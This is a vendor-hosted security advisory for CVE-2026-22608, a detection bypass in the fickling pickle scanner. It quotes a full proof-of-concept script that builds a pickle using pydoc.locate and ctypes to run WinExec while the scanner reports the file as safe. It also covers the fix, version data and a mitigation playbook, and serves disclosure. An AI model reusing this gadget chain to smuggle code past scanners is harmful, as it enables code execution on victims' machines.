CVE-2026-22608 — fickling
Fix: trailofbits/fickling@b793563CVE-2026-22608 is a CWE-184 vulnerability in fickling. A fix is available for fickling — see the affected versions and patch details below.
Fickling vulnerable to use of ctypes and pydoc gadget chain to bypass detection
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-22608.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
ficklingReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Fickling's assessment
pydoc and ctypes were added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/b793563e60a5e039c5837b09d7f4f6b92e6040d1).
Original report
Summary
Both ctypes and pydoc modules arent explictly blocked. Even other existing pickle scanning tools (like picklescan) do not block pydoc.locate. Chaining these two together can achieve RCE while the scanner still reports the file as LIKELY_SAFE
Details
Import: GLOBAL pydoc locate (Allowed). Resolution: Call locate('ctypes.windll.kernel32.WinExec'). Execution: Call the result with (b'calc.exe', 1).
To bypass the unused variable check an exception object is used, on the assumption that Exception would not be blocked in the future as it is a benign builtin
PoC
import os
GLOBAL = b'c'
STRING = b'S'
BININT = b'K'
TUPLE1 = b'\x85'
TUPLE2 = b'\x86'
EMPTY_TUPLE = b')'
REDUCE = b'R'
PUT = b'p'
GET = b'g'
POP = b'0'
EMPTY_DICT = b'}'
SETITEM = b's'
BUILD = b'b'
STOP = b'.'
def generate_stealth_payload():
payload = b""
payload += GLOBAL + b"pydoc\nlocate\n"
payload += STRING + b"'ctypes.windll.kernel32.WinExec'\n"
payload += TUPLE1 + REDUCE
payload += PUT + b"0\n" # Var 0 = <_FuncPtr WinExec>
payload += POP
payload += GET + b"0\n"
payload += b"C" + b"\x08" + b"calc.exe"
payload += BININT + b"\x01"
payload += TUPLE2 + REDUCE
payload += PUT + b"1\n" # Var 1 = Execution Result
payload += POP
payload += GLOBAL + b"builtins\nException\n"
payload += EMPTY_TUPLE + REDUCE
payload += PUT + b"2\n" # Var 2 = Exception instance
payload += EMPTY_DICT
payload += STRING + b"'rce_status'\n"
payload += GET + b"1\n"
payload += SETITEM # { 'rce_status': result }
payload += BUILD
payload += STOP
return payload
data = generate_stealth_payload()
with open("stealth_ctypes.pkl", "wb") as f:
f.write(data)
print("Generated 'stealth_ctypes.pkl'")
What fickling sees
from pydoc import locate
_var0 = locate('ctypes.windll.kernel32.WinExec')
_var1 = _var0(b'calc.exe', 1)
_var2 = Exception()
_var3 = _var2
_var3.__setstate__({'rce_status': _var1})
result0 = _var3
<img width="915" height="197" alt="image" src="https://github.com/user-attachments/assets/b5d81e0d-4946-4768-a704-618a4554ae7a" />Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | fickling | all versions | 0.1.7pip install --upgrade 'fickling==0.1.7' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for fickling, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update fickling to 0.1.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-22608 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-22608 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-22608. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-22608 in your dependencies?
O3 Security finds CVE-2026-22608 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.